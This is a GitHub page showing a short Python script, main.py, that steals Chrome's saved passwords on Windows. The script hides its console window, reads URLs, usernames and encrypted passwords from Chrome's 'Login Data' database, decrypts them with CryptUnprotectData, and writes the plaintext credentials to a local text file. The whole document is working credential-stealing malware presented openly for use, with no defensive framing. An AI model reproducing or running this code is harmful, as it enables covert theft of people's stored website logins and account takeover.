-
Notifications
You must be signed in to change notification settings - Fork 31
/
Copy pathmain.py
26 lines (20 loc) · 810 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from os import getenv
import sqlite3
import win32crypt
#Lets hide the console
import win32console, win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
#Lets Connect to the Database
conn = sqlite3.connect(getenv("APPDATA")+r"\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
#Lets get the results
cursor.execute('Select action_url, username_value, password_value FROM logins')
fp = open(r"file.txt", "a+")
fp.write("Chrome Saved Passwords\n")
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2],None,None,None,0)[1]
if password:
fp.write('\nThe website is '+result[0])
fp.write('\nThe Username is '+result[1])
fp.write('\n The password is ' + str(password))